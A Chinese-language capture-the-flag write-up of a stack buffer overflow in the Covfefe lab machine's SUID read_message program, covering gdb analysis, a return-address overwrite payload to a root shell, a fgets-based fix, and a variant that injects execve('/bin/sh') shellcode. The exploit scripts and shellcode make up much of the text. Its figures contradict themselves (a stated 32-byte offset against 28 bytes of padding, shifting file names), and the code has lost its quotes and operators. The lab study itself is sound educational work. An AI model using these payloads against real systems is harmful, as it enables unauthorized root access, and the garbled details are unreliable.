Covfefe靶场缓冲区溢出提权分析:gets函数漏洞与20字节buf数组利用
Covfefe靶场缓冲区溢出提权分析从20字节buf数组到root权限的完整利用链在渗透测试的进阶阶段理解漏洞背后的原理往往比单纯执行攻击脚本更为重要。本文将深入分析Covfefe靶场中一个经典的缓冲区溢出漏洞通过逐行代码审计揭示gets函数的安全隐患并构建精确的payload实现从普通用户到root权限的完整提权过程。1. 漏洞环境与背景分析Covfefe靶机是一台专门设计用于渗透测试练习的Linux系统其中包含一个名为read_message.c的自编译程序。该程序本应实现简单的消息读取功能却因开发者的安全疏忽成为了提权的突破口。关键漏洞特征使用危险的gets()函数接收用户输入仅分配20字节的缓冲区char buf[20]使用strncmp()进行前5字符的脆弱性检查程序设置了SUID位并以root权限运行通过SSH登录后在/home/simon目录下可以找到这个关键程序及其源代码。我们先查看程序的基本属性ls -l /home/simon/read_message -rwsr-xr-x 1 root root 16712 Jun 10 15:30 /home/simon/read_messages权限位表明这是一个SUID程序执行时将暂时获得文件所有者root的权限。2. 源码审计与漏洞原理让我们仔细分析read_message.c的源代码理解漏洞产生的根本原因#include stdio.h #include string.h void secret_function() { system(/bin/sh); } int main() { char buf[20]; printf(Enter your message: ); gets(buf); // 危险函数不检查输入长度 if(strncmp(buf, simon, 5) 0) { printf(Hello Simon!\n); } else { printf(Unauthorized user!\n); } return 0; }漏洞点分析缓冲区设计缺陷buf数组仅分配20字节空间未考虑字符串终止符\0的额外占用实际安全空间仅为19个字符危险函数调用gets()函数会持续读取输入直到换行符完全不检查输入长度与缓冲区容量的关系可写入超出buf数组边界的数据内存布局特点栈空间从上向下增长函数返回地址存储在栈的高地址区域过长的输入会覆盖关键内存数据隐藏后门函数secret_function()可直接获得shell正常情况下无法通过合法途径调用3. 内存结构与溢出利用理解栈内存布局是成功利用缓冲区溢出的关键。当main函数被调用时典型的栈结构如下内存地址内容说明高地址调用者栈帧前一个函数的栈空间返回地址main函数结束后跳转的位置旧的基指针(EBP)调用者的栈帧指针buf[19]缓冲区的最后一个字节......低地址buf[0]缓冲区的起始位置当输入超过19个字符时多出的数据将依次覆盖EBP寄存器的保存值函数返回地址更高地址的内存区域通过精确控制溢出数据我们可以将返回地址替换为secret_function的内存地址从而劫持程序流程。4. 动态调试与地址确定使用gdb进行动态分析是漏洞利用的关键步骤gdb -q ./read_message (gdb) disassemble secret_function Dump of assembler code for function secret_function: 0x080484cb 0: push %ebp 0x080484cc 1: mov %esp,%ebp 0x080484ce 3: sub $0x4,%esp 0x080484d1 6: movl $0x80485e0,(%esp) 0x080484d8 13: call 0x80483a0 systemplt 0x080484dd 18: leave 0x080484de 19: ret End of assembler dump.这里我们确认secret_function的起始地址为0x080484cb。接下来需要确定覆盖返回地址所需的偏移量。通过创建模式字符串并观察崩溃状态可以精确定位python -c print A*32 | ./read_message逐步增加A的数量直到程序出现段错误。测试发现28个字符后开始覆盖关键内存Enter your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAA Unauthorized user! Segmentation fault通过gdb检查崩溃时的EIP值最终确认偏移量为32字节20字节buf 4字节对齐 4字节EBP 4字节返回地址。5. Payload构造与利用结合以上分析我们构建的payload需要满足前5字符为simon以通过strncmp检查后续填充23个任意字符5已用 23 28字节最后4字节为secret_function的地址小端序完整的利用代码如下import struct buf simon # 通过身份检查 buf A*23 # 填充到返回地址前 buf struct.pack(I, 0x080484cb) # secret_function地址 print(buf)执行攻击(python -c import struct; print simon A*23 struct.pack(I, 0x080484cb); cat) | ./read_message成功后将获得一个具有root权限的shellEnter your message: Hello Simon! # whoami root6. 漏洞防御与安全编程对比分析漏洞修复方案理解安全编程的最佳实践危险实践使用gets等不安全的函数不验证输入长度依赖前端验证而非后端检查修复方案#include stdio.h #include string.h #include stdlib.h #define MAX_LEN 19 // 20 - 1 for null terminator void secret_function() { system(/bin/sh); } int main() { char buf[20]; printf(Enter your message: ); if(fgets(buf, sizeof(buf), stdin) NULL) { perror(Error reading input); return 1; } // 移除可能的换行符 buf[strcspn(buf, \n)] \0; if(strncmp(buf, simon, 5) 0) { printf(Hello Simon!\n); } else { printf(Unauthorized user!\n); } return 0; }安全改进使用fgets替代gets明确指定最大读取长度检查输入函数的返回值正确处理字符串终止符编译时添加安全选项如-fstack-protector7. 扩展思考与进阶技巧在真实环境中缓冲区溢出利用可能面临更多挑战ASLR绕过信息泄露获取内存地址暴力破解部分地址位使用不随机化的内存区域DEP/NX防护ROPReturn-Oriented Programming链构造重用已有代码片段gadgets现代编译防护栈保护符Stack Canary安全异常处理表进阶利用示例当secret_function不存在时import struct # shellcode执行/bin/sh shellcode ( \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\xb0\x0b\xcd\x80 ) buf simon # 通过检查 buf A*(32-len(shellcode)) # 填充 buf struct.pack(I, 0xbffff7b0) # 预估的shellcode地址 buf shellcode print(buf)这种技术需要精确预测shellcode的内存地址在ASLR启用环境中更具挑战性。